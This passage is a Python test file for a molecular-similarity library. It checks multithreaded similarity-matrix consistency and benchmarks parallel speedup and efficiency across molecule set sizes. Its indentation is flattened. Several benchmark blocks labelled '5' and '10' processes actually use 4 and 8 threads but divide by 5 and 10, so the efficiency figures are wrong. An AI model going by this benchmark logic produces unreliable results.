print("Running 15000 molecules with 1 process.")
self._15000_molecules_serial_time_2 = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._15000_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="cosine",
n_threads=1,
fingerprint_type="topological_fingerprint",
)
self._15000_molecules_serial_time_2 += (time() - start) / self.N_REPLICATES
def test_multithreading_consistency_2_threads(self):
"""
Ensure that the similarity matrix produced with 2 threads is identical to
that produced using a single thread and the serial implementation.
"""
test_molecule_set = MoleculeSet(
molecule_database_src=self.text_fpath,
molecule_database_src_type="text",
is_verbose=True,
similarity_measure="tanimoto",
n_threads=2,
fingerprint_type="morgan_fingerprint",
)
self.assertIsNone(
np.testing.assert_array_equal(
test_molecule_set.get_similarity_matrix(),
self.correct_similarity_matrix,
),
"Similarity matrix not equal when using two threads.",
)
def test_multithreading_consistency_3_threads(self):
"""
Ensure that the similarity matrix produced with 3 threads is identical to
that produced using a single thread and the serial implementation.
"""
test_molecule_set = MoleculeSet(
molecule_database_src=self.text_fpath,
molecule_database_src_type="text",
is_verbose=True,
similarity_measure="tanimoto",
n_threads=3,
fingerprint_type="morgan_fingerprint",
)
self.assertIsNone(
np.testing.assert_array_equal(
test_molecule_set.get_similarity_matrix(),
self.correct_similarity_matrix,
),
"Similarity matrix not equal when using three threads.",
)
def test_multithreading_consistency_4_threads(self):
"""
Ensure that the similarity matrix produced with 4 threads is identical to
that produced using a single thread and the serial implementation.
"""
test_molecule_set = MoleculeSet(
molecule_database_src=self.text_fpath,
molecule_database_src_type="text",
is_verbose=True,
similarity_measure="tanimoto",
n_threads=4,
fingerprint_type="morgan_fingerprint",
)
self.assertIsNone(
np.testing.assert_array_equal(
test_molecule_set.get_similarity_matrix(),
self.correct_similarity_matrix,
),
"Similarity matrix not equal when using four threads.",
)
def test_multithreading_consistency_5_threads(self):
"""
Ensure that the similarity matrix produced with 5 threads is identical to
that produced using a single thread and the serial implementation.
"""
test_molecule_set = MoleculeSet(
molecule_database_src=self.text_fpath,
molecule_database_src_type="text",
is_verbose=True,
similarity_measure="tanimoto",
n_threads=5,
fingerprint_type="morgan_fingerprint",
)
self.assertIsNone(
np.testing.assert_array_equal(
test_molecule_set.get_similarity_matrix(),
self.correct_similarity_matrix,
),
"Similarity matrix not equal when using five threads.",
)
def test_multithreading_consistency_6_threads(self):
"""
Ensure that the similarity matrix produced with 6 threads is identical to
that produced using a single thread and the serial implementation.
"""
test_molecule_set = MoleculeSet(
molecule_database_src=self.text_fpath,
molecule_database_src_type="text",
is_verbose=True,
similarity_measure="tanimoto",
n_threads=6,
fingerprint_type="morgan_fingerprint",
)
self.assertIsNone(
np.testing.assert_array_equal(
test_molecule_set.get_similarity_matrix(),
self.correct_similarity_matrix,
),
"Similarity matrix not equal when using six threads.",
)
def test_multithreading_consistency_7_threads(self):
"""
Ensure that the similarity matrix produced with 7 threads is identical to
that produced using a single thread and the serial implementation.
"""
test_molecule_set = MoleculeSet(
molecule_database_src=self.text_fpath,
molecule_database_src_type="text",
is_verbose=True,
similarity_measure="tanimoto",
n_threads=7,
fingerprint_type="morgan_fingerprint",
)
self.assertIsNone(
np.testing.assert_array_equal(
test_molecule_set.get_similarity_matrix(),
self.correct_similarity_matrix,
),
"Similarity matrix not equal when using seven threads (equal to the number of molecules).",
)
def test_multithreading_consistency_10_threads(self):
"""
Ensure that the similarity matrix produced with 10 threads is identical to
that produced using a single thread and the serial implementation.
"""
test_molecule_set = MoleculeSet(
molecule_database_src=self.text_fpath,
molecule_database_src_type="text",
is_verbose=True,
similarity_measure="tanimoto",
n_threads=10,
fingerprint_type="morgan_fingerprint",
)
self.assertIsNone(
np.testing.assert_array_equal(
test_molecule_set.get_similarity_matrix(),
self.correct_similarity_matrix,
),
"Similarity matrix not equal when using ten threads (more than the number of molecules).",
)
def test_speedup_efficiency_tanimoto(self):
"""
Evaluate the speedup and efficieny of the multiprocessing approach.
"""
if self.NO_SPEEDUP_TEST:
return
print("~" * 10, "\n", "Speedup and Efficiency Test\n", "~" * 10)
# 100 molecules
print("Running 100 molecules with 2 processes.")
_100_molecules_2_process_time = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._100_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="tanimoto",
n_threads=2,
fingerprint_type="morgan_fingerprint",
)
_100_molecules_2_process_time += (time() - start) / self.N_REPLICATES
_100_molecules_2_process_speedup = (
self._100_molecules_serial_time / _100_molecules_2_process_time
)
_100_molecules_2_process_efficiency = _100_molecules_2_process_speedup / 2
print("Running 100 molecules with 5 processes.")
_100_molecules_5_process_time = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._100_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="tanimoto",
n_threads=4,
fingerprint_type="morgan_fingerprint",
)
_100_molecules_5_process_time += (time() - start) / self.N_REPLICATES
_100_molecules_5_process_speedup = (
self._100_molecules_serial_time / _100_molecules_5_process_time
)
_100_molecules_5_process_efficiency = _100_molecules_5_process_speedup / 5
print("Running 100 molecules with 10 processes.")
_100_molecules_10_process_time = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._100_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="tanimoto",
n_threads=8,
fingerprint_type="morgan_fingerprint",
)
_100_molecules_10_process_time += (time() - start) / self.N_REPLICATES
_100_molecules_10_process_speedup = (
self._100_molecules_serial_time / _100_molecules_10_process_time
)
_100_molecules_10_process_efficiency = _100_molecules_10_process_speedup / 10
# 500 molecules
print("Running 500 molecules with 2 processes.")
_500_molecules_2_process_time = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._500_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="tanimoto",
n_threads=2,
fingerprint_type="morgan_fingerprint",
)
_500_molecules_2_process_time += (time() - start) / self.N_REPLICATES
_500_molecules_2_process_speedup = (
self._500_molecules_serial_time / _500_molecules_2_process_time
)
_500_molecules_2_process_efficiency = _500_molecules_2_process_speedup / 2
print("Running 500 molecules with 5 processes.")
_500_molecules_5_process_time = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._500_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="tanimoto",
n_threads=4,
fingerprint_type="morgan_fingerprint",
)
_500_molecules_5_process_time += (time() - start) / self.N_REPLICATES
_500_molecules_5_process_speedup = (
self._500_molecules_serial_time / _500_molecules_5_process_time
)
_500_molecules_5_process_efficiency = _500_molecules_5_process_speedup / 5
print("Running 500 molecules with 10 processes.")
_500_molecules_10_process_time = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._500_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="tanimoto",
n_threads=8,
fingerprint_type="morgan_fingerprint",
)
_500_molecules_10_process_time += (time() - start) / self.N_REPLICATES
_500_molecules_10_process_speedup = (
self._500_molecules_serial_time / _500_molecules_10_process_time
)
_500_molecules_10_process_efficiency = _500_molecules_10_process_speedup / 10
# 1000 molecules
print("Running 1000 molecules with 2 processes.")
_1000_molecules_2_process_time = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._1000_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="tanimoto",
n_threads=2,
fingerprint_type="morgan_fingerprint",
)
_1000_molecules_2_process_time += (time() - start) / self.N_REPLICATES
_1000_molecules_2_process_speedup = (
self._1000_molecules_serial_time / _1000_molecules_2_process_time
)
_1000_molecules_2_process_efficiency = _1000_molecules_2_process_speedup / 2
print("Running 1000 molecules with 5 processes.")
_1000_molecules_5_process_time = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._1000_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="tanimoto",
n_threads=4,
fingerprint_type="morgan_fingerprint",
)
_1000_molecules_5_process_time += (time() - start) / self.N_REPLICATES
_1000_molecules_5_process_speedup = (
self._1000_molecules_serial_time / _1000_molecules_5_process_time
)
_1000_molecules_5_process_efficiency = _1000_molecules_5_process_speedup / 5
print("Running 1000 molecules with 10 processes.")
_1000_molecules_10_process_time = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._1000_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="tanimoto",
n_threads=8,
fingerprint_type="morgan_fingerprint",
)
_1000_molecules_10_process_time += (time() - start) / self.N_REPLICATES
_1000_molecules_10_process_speedup = (
self._1000_molecules_serial_time / _1000_molecules_10_process_time
)
_1000_molecules_10_process_efficiency = _1000_molecules_10_process_speedup / 10
print("Running 5000 molecules with 2 processes.")
# 5000 molecules
_5000_molecules_2_process_time = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._5000_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="tanimoto",
n_threads=2,
fingerprint_type="morgan_fingerprint",
)
_5000_molecules_2_process_time += (time() - start) / self.N_REPLICATES
_5000_molecules_2_process_speedup = (
self._5000_molecules_serial_time / _5000_molecules_2_process_time
)
_5000_molecules_2_process_efficiency = _5000_molecules_2_process_speedup / 2
print("Running 5000 molecules with 5 processes.")
_5000_molecules_5_process_time = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._5000_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="tanimoto",
n_threads=4,
fingerprint_type="morgan_fingerprint",
)
_5000_molecules_5_process_time += (time() - start) / self.N_REPLICATES
_5000_molecules_5_process_speedup = (
self._5000_molecules_serial_time / _5000_molecules_5_process_time
)
_5000_molecules_5_process_efficiency = _5000_molecules_5_process_speedup / 5
print("Running 5000 molecules with 10 processes.")
_5000_molecules_10_process_time = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._5000_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="tanimoto",
n_threads=8,
fingerprint_type="morgan_fingerprint",
)
_5000_molecules_10_process_time += (time() - start) / self.N_REPLICATES
_5000_molecules_10_process_speedup = (
self._5000_molecules_serial_time / _5000_molecules_10_process_time
)
_5000_molecules_10_process_efficiency = _5000_molecules_10_process_speedup / 10
# 10000 molecules
print("Running 10000 molecules with 2 processes.")
_10000_molecules_2_process_time = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._10000_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="tanimoto",
n_threads=2,
fingerprint_type="morgan_fingerprint",
)
_10000_molecules_2_process_time += (time() - start) / self.N_REPLICATES
_10000_molecules_2_process_speedup = (
self._10000_molecules_serial_time / _10000_molecules_2_process_time
)
_10000_molecules_2_process_efficiency = _10000_molecules_2_process_speedup / 2
print("Running 10000 molecules with 5 processes.")
_10000_molecules_5_process_time = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._10000_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="tanimoto",
n_threads=4,
fingerprint_type="morgan_fingerprint",
)
_10000_molecules_5_process_time += (time() - start) / self.N_REPLICATES
_10000_molecules_5_process_speedup = (
self._10000_molecules_serial_time / _10000_molecules_5_process_time
)
_10000_molecules_5_process_efficiency = _10000_molecules_5_process_speedup / 5
print("Running 10000 molecules with 10 processes.")
_10000_molecules_10_process_time = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._10000_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="tanimoto",
n_threads=8,
fingerprint_type="morgan_fingerprint",
)
_10000_molecules_10_process_time += (time() - start) / self.N_REPLICATES
_10000_molecules_10_process_speedup = (
self._10000_molecules_serial_time / _10000_molecules_10_process_time
)
_10000_molecules_10_process_efficiency = (
_10000_molecules_10_process_speedup / 10
)
# 15000 molecules
print("Running 15000 molecules with 2 processes.")
_15000_molecules_2_process_time = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._15000_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="tanimoto",
n_threads=2,
fingerprint_type="morgan_fingerprint",
)
_15000_molecules_2_process_time += (time() - start) / self.N_REPLICATES
_15000_molecules_2_process_speedup = (
self._15000_molecules_serial_time / _15000_molecules_2_process_time
)
_15000_molecules_2_process_efficiency = _15000_molecules_2_process_speedup / 2
print("Running 15000 molecules with 5 processes.")
_15000_molecules_5_process_time = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._15000_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="tanimoto",
n_threads=4,
fingerprint_type="morgan_fingerprint",
)
_15000_molecules_5_process_time += (time() - start) / self.N_REPLICATES
_15000_molecules_5_process_speedup = (
self._15000_molecules_serial_time / _15000_molecules_5_process_time
)
_15000_molecules_5_process_efficiency = _15000_molecules_5_process_speedup / 5
print("Running 15000 molecules with 10 processes.")
_15000_molecules_10_process_time = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._15000_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="tanimoto",
n_threads=8,
fingerprint_type="morgan_fingerprint",
)
_15000_molecules_10_process_time += (time() - start) / self.N_REPLICATES
_15000_molecules_10_process_speedup = (
self._15000_molecules_serial_time / _15000_molecules_10_process_time
)
_15000_molecules_10_process_efficiency = (
_15000_molecules_10_process_speedup / 10
)
print("Speedup:")
print(
tabulate(
[
["~", 2, 4, 8],
[
100,
_100_molecules_2_process_speedup,
_100_molecules_5_process_speedup,
_100_molecules_10_process_speedup,
],
[
500,
_500_molecules_2_process_speedup,
_500_molecules_5_process_speedup,
_500_molecules_10_process_speedup,
],
[
1000,
_1000_molecules_2_process_speedup,
_1000_molecules_5_process_speedup,
_1000_molecules_10_process_speedup,
],
[
5000,
_5000_molecules_2_process_speedup,
_5000_molecules_5_process_speedup,
_5000_molecules_10_process_speedup,
],
[
10000,
_10000_molecules_2_process_speedup,
_10000_molecules_5_process_speedup,
_10000_molecules_10_process_speedup,
],
[
15000,
_15000_molecules_2_process_speedup,
_15000_molecules_5_process_speedup,
_15000_molecules_10_process_speedup,
],
],
headers=["# mol", "", "# processes", ""],
)
)
print("Efficiency:")
print(
tabulate(
[
["~", 2, 4, 8],
[
100,
_100_molecules_2_process_efficiency,
_100_molecules_5_process_efficiency,
_100_molecules_10_process_efficiency,
],
[
500,
_500_molecules_2_process_efficiency,
_500_molecules_5_process_efficiency,
_500_molecules_10_process_efficiency,
],
[
1000,
_1000_molecules_2_process_efficiency,
_1000_molecules_5_process_efficiency,
_1000_molecules_10_process_efficiency,
],
[
5000,
_5000_molecules_2_process_efficiency,
_5000_molecules_5_process_efficiency,
_5000_molecules_10_process_efficiency,
],
[
10000,
_10000_molecules_2_process_efficiency,
_10000_molecules_5_process_efficiency,
_10000_molecules_10_process_efficiency,
],
[
15000,
_15000_molecules_2_process_efficiency,
_15000_molecules_5_process_efficiency,
_15000_molecules_10_process_efficiency,
],
],
headers=["# mol", "", "# processes", ""],
)
)
print("Execution Time in seconds (serial/parallel):")
print(
tabulate(
[
["~", 2, 4, 8],
[
100,
"{:.2f}/{:.2f}".format(
float(self._100_molecules_serial_time),
float(_100_molecules_2_process_time),
),
"{:.2f}/{:.2f}".format(
float(self._100_molecules_serial_time),
float(_100_molecules_5_process_time),
),
"{:.2f}/{:.2f}".format(
float(self._100_molecules_serial_time),
float(_100_molecules_10_process_time),
),
],
[
500,
"{:.2f}/{:.2f}".format(
float(self._500_molecules_serial_time),
float(_500_molecules_2_process_time),
),
"{:.2f}/{:.2f}".format(
float(self._500_molecules_serial_time),
float(_500_molecules_5_process_time),
),
"{:.2f}/{:.2f}".format(
float(self._500_molecules_serial_time),
float(_500_molecules_10_process_time),
),
],
[
1000,
"{:.2f}/{:.2f}".format(
float(self._1000_molecules_serial_time),
float(_1000_molecules_2_process_time),
),
"{:.2f}/{:.2f}".format(
float(self._1000_molecules_serial_time),
float(_1000_molecules_5_process_time),
),
"{:2f}/{:.2f}".format(
float(self._1000_molecules_serial_time),
float(_1000_molecules_10_process_time),
),
],
[
5000,
"{:.2f}/{:.2f}".format(
float(self._5000_molecules_serial_time),
float(_5000_molecules_2_process_time),
),
"{:.2f}/{:.2f}".format(
float(self._5000_molecules_serial_time),
float(_5000_molecules_5_process_time),
),
"{:.2f}/{:.2f}".format(
float(self._5000_molecules_serial_time),
float(_5000_molecules_10_process_time),
),
],
[
10000,
"{:.2f}/{:.2f}".format(
float(self._10000_molecules_serial_time),
float(_10000_molecules_2_process_time),
),
"{:.2f}/{:.2f}".format(
float(self._10000_molecules_serial_time),
float(_10000_molecules_5_process_time),
),
"{:.2f}/{:.2f}".format(
float(self._10000_molecules_serial_time),
float(_10000_molecules_10_process_time),
),
],
[
15000,
"{:.2f}/{:.2f}".format(
float(self._15000_molecules_serial_time),
float(_15000_molecules_2_process_time),
),
"{:.2f}/{:.2f}".format(
float(self._15000_molecules_serial_time),
float(_15000_molecules_5_process_time),
),
"{:.2f}/{:.2f}".format(
float(self._15000_molecules_serial_time),
float(_15000_molecules_10_process_time),
),
],
],
headers=["# mol", "", "# processes", ""],
)
)
def test_speedup_efficiency_cosine(self):
"""
Evaluate the speedup and efficieny of the multiprocessing approach
with a more complex metric.
"""
if self.NO_SPEEDUP_TEST:
return
print("~" * 10, "\n", "Speedup and Efficiency Test 2\n", "~" * 10)
# 100 molecules
print("Running 100 molecules with 2 processes.")
_100_molecules_2_process_time = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._100_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="cosine",
n_threads=2,
fingerprint_type="topological_fingerprint",
)
_100_molecules_2_process_time += (time() - start) / self.N_REPLICATES
_100_molecules_2_process_speedup = (
self._100_molecules_serial_time_2 / _100_molecules_2_process_time
)
_100_molecules_2_process_efficiency = _100_molecules_2_process_speedup / 2
print("Running 100 molecules with 5 processes.")
_100_molecules_5_process_time = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._100_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="cosine",
n_threads=4,
fingerprint_type="topological_fingerprint",
)
_100_molecules_5_process_time += (time() - start) / self.N_REPLICATES
_100_molecules_5_process_speedup = (
self._100_molecules_serial_time_2 / _100_molecules_5_process_time
)
_100_molecules_5_process_efficiency = _100_molecules_5_process_speedup / 5
print("Running 100 molecules with 10 processes.")
_100_molecules_10_process_time = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._100_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="cosine",
n_threads=8,
fingerprint_type="topological_fingerprint",
)
_100_molecules_10_process_time += (time() - start) / self.N_REPLICATES
_100_molecules_10_process_speedup = (
self._100_molecules_serial_time_2 / _100_molecules_10_process_time
)
_100_molecules_10_process_efficiency = _100_molecules_10_process_speedup / 10
# 500 molecules
print("Running 500 molecules with 2 processes.")
_500_molecules_2_process_time = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._500_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="cosine",
n_threads=2,
fingerprint_type="topological_fingerprint",
)
_500_molecules_2_process_time += (time() - start) / self.N_REPLICATES
_500_molecules_2_process_speedup = (
self._500_molecules_serial_time_2 / _500_molecules_2_process_time
)
_500_molecules_2_process_efficiency = _500_molecules_2_process_speedup / 2
print("Running 500 molecules with 5 processes.")
_500_molecules_5_process_time = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._500_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="cosine",
n_threads=4,
fingerprint_type="topological_fingerprint",
)
_500_molecules_5_process_time += (time() - start) / self.N_REPLICATES
_500_molecules_5_process_speedup = (
self._500_molecules_serial_time_2 / _500_molecules_5_process_time
)
_500_molecules_5_process_efficiency = _500_molecules_5_process_speedup / 5
print("Running 500 molecules with 10 processes.")
_500_molecules_10_process_time = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._500_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="cosine",
n_threads=8,
fingerprint_type="topological_fingerprint",
)
_500_molecules_10_process_time += (time() - start) / self.N_REPLICATES
_500_molecules_10_process_speedup = (
self._500_molecules_serial_time_2 / _500_molecules_10_process_time
)
_500_molecules_10_process_efficiency = _500_molecules_10_process_speedup / 10
# 1000 molecules
print("Running 1000 molecules with 2 processes.")
_1000_molecules_2_process_time = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._1000_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="cosine",
n_threads=2,
fingerprint_type="topological_fingerprint",
)
_1000_molecules_2_process_time += (time() - start) / self.N_REPLICATES
_1000_molecules_2_process_speedup = (
self._1000_molecules_serial_time_2 / _1000_molecules_2_process_time
)
_1000_molecules_2_process_efficiency = _1000_molecules_2_process_speedup / 2
print("Running 1000 molecules with 5 processes.")
_1000_molecules_5_process_time = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._1000_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="cosine",
n_threads=4,
fingerprint_type="topological_fingerprint",
)
_1000_molecules_5_process_time += (time() - start) / self.N_REPLICATES
_1000_molecules_5_process_speedup = (
self._1000_molecules_serial_time_2 / _1000_molecules_5_process_time
)
_1000_molecules_5_process_efficiency = _1000_molecules_5_process_speedup / 5
print("Running 1000 molecules with 10 processes.")
_1000_molecules_10_process_time = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._1000_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="cosine",
n_threads=8,
fingerprint_type="topological_fingerprint",
)
_1000_molecules_10_process_time += (time() - start) / self.N_REPLICATES
_1000_molecules_10_process_speedup = (
self._1000_molecules_serial_time_2 / _1000_molecules_10_process_time
)
_1000_molecules_10_process_efficiency = _1000_molecules_10_process_speedup / 10
# 5000 molecules
print("Running 5000 molecules with 2 processes.")
_5000_molecules_2_process_time = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._5000_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="cosine",
n_threads=2,
fingerprint_type="topological_fingerprint",
)
_5000_molecules_2_process_time += (time() - start) / self.N_REPLICATES
_5000_molecules_2_process_speedup = (
self._5000_molecules_serial_time_2 / _5000_molecules_2_process_time
)
_5000_molecules_2_process_efficiency = _5000_molecules_2_process_speedup / 2
print("Running 5000 molecules with 5 processes.")
_5000_molecules_5_process_time = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._5000_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="cosine",
n_threads=4,
fingerprint_type="topological_fingerprint",
)
_5000_molecules_5_process_time += (time() - start) / self.N_REPLICATES
_5000_molecules_5_process_speedup = (
self._5000_molecules_serial_time_2 / _5000_molecules_5_process_time
)
_5000_molecules_5_process_efficiency = _5000_molecules_5_process_speedup / 5
print("Running 5000 molecules with 10 processes.")
_5000_molecules_10_process_time = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._5000_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="cosine",
n_threads=8,
fingerprint_type="topological_fingerprint",
)
_5000_molecules_10_process_time += (time() - start) / self.N_REPLICATES
_5000_molecules_10_process_speedup = (
self._5000_molecules_serial_time_2 / _5000_molecules_10_process_time
)
_5000_molecules_10_process_efficiency = _5000_molecules_10_process_speedup / 10
# 10000 molecules
print("Running 10000 molecules with 2 processes.")
_10000_molecules_2_process_time = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._10000_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="cosine",
n_threads=2,
fingerprint_type="topological_fingerprint",
)
_10000_molecules_2_process_time += (time() - start) / self.N_REPLICATES
_10000_molecules_2_process_speedup = (
self._10000_molecules_serial_time_2 / _10000_molecules_2_process_time
)
_10000_molecules_2_process_efficiency = _10000_molecules_2_process_speedup / 2
print("Running 10000 molecules with 5 processes.")
_10000_molecules_5_process_time = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._10000_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="cosine",
n_threads=4,
fingerprint_type="topological_fingerprint",
)
_10000_molecules_5_process_time += (time() - start) / self.N_REPLICATES
_10000_molecules_5_process_speedup = (
self._10000_molecules_serial_time_2 / _10000_molecules_5_process_time
)
_10000_molecules_5_process_efficiency = _10000_molecules_5_process_speedup / 5
print("Running 10000 molecules with 10 processes.")
_10000_molecules_10_process_time = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._10000_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="cosine",
n_threads=8,
fingerprint_type="topological_fingerprint",
)
_10000_molecules_10_process_time += (time() - start) / self.N_REPLICATES
_10000_molecules_10_process_speedup = (
self._10000_molecules_serial_time_2 / _10000_molecules_10_process_time
)
_10000_molecules_10_process_efficiency = (
_10000_molecules_10_process_speedup / 10
)
# 15000 molecules
print("Running 15000 molecules with 2 processes.")
_15000_molecules_2_process_time = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._15000_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="cosine",
n_threads=2,
fingerprint_type="topological_fingerprint",
)
_15000_molecules_2_process_time += (time() - start) / self.N_REPLICATES
_15000_molecules_2_process_speedup = (
self._15000_molecules_serial_time_2 / _15000_molecules_2_process_time
)
_15000_molecules_2_process_efficiency = _15000_molecules_2_process_speedup / 2
print("Running 15000 molecules with 5 processes.")
_15000_molecules_5_process_time = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._15000_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="cosine",
n_threads=4,
fingerprint_type="topological_fingerprint",
)
_15000_molecules_5_process_time += (time() - start) / self.N_REPLICATES
_15000_molecules_5_process_speedup = (
self._15000_molecules_serial_time_2 / _15000_molecules_5_process_time
)
_15000_molecules_5_process_efficiency = _15000_molecules_5_process_speedup / 5
print("Running 15000 molecules with 10 processes.")
_15000_molecules_10_process_time = 0
for i in range(self.N_REPLICATES):
start = time()
test_molecule_set = MoleculeSet(
molecule_database_src=self._15000_molecules_fpath,
molecule_database_src_type="text",
is_verbose=False,
similarity_measure="cosine",
n_threads=8,
fingerprint_type="topological_fingerprint",
)
_15000_molecules_10_process_time += (time() - start) / self.N_REPLICATES
_15000_molecules_10_process_speedup = (
self._15000_molecules_serial_time_2 / _15000_molecules_10_process_time
)
_15000_molecules_10_process_efficiency = (
_15000_molecules_10_process_speedup / 10
)
print("Speedup:")
print(
tabulate(
[
["~", 2, 4, 8],
[
100,
_100_molecules_2_process_speedup,
_100_molecules_5_process_speedup,
_100_molecules_10_process_speedup,
],
[
500,
_500_molecules_2_process_speedup,
_500_molecules_5_process_speedup,
_500_molecules_10_process_speedup,
],
[
1000,
_1000_molecules_2_process_speedup,
_1000_molecules_5_process_speedup,
_1000_molecules_10_process_speedup,
],
[
5000,
_5000_molecules_2_process_speedup,
_5000_molecules_5_process_speedup,
_5000_molecules_10_process_speedup,
],
[
10000,
_10000_molecules_2_process_speedup,
_10000_molecules_5_process_speedup,
_10000_molecules_10_process_speedup,
],
[
15000,
_15000_molecules_2_process_speedup,
_15000_molecules_5_process_speedup,
_15000_molecules_10_process_speedup,
],
],
headers=["# mol", "", "# processes", ""],
)
)
print("Efficiency:")
print(
tabulate(
[
["~", 2, 4, 8],
[
100,
_100_molecules_2_process_efficiency,
_100_molecules_5_process_efficiency,
_100_molecules_10_process_efficiency,
],
[
500,
_500_molecules_2_process_efficiency,
_500_molecules_5_process_efficiency,
_500_molecules_10_process_efficiency,
],
[
1000,
_1000_molecules_2_process_efficiency,
_1000_molecules_5_process_efficiency,
_1000_molecules_10_process_efficiency,
],
[
5000,
_5000_molecules_2_process_efficiency,
_5000_molecules_5_process_efficiency,
_5000_molecules_10_process_efficiency,
],
[
10000,
_10000_molecules_2_process_efficiency,
_10000_molecules_5_process_efficiency,
_10000_molecules_10_process_efficiency,
],
[
15000,
_15000_molecules_2_process_efficiency,
_15000_molecules_5_process_efficiency,
_15000_molecules_10_process_efficiency,
],
],
headers=["# mol", "", "# processes", ""],
)
)
print("Execution Time in seconds (serial/parallel):")
print(
tabulate(
[
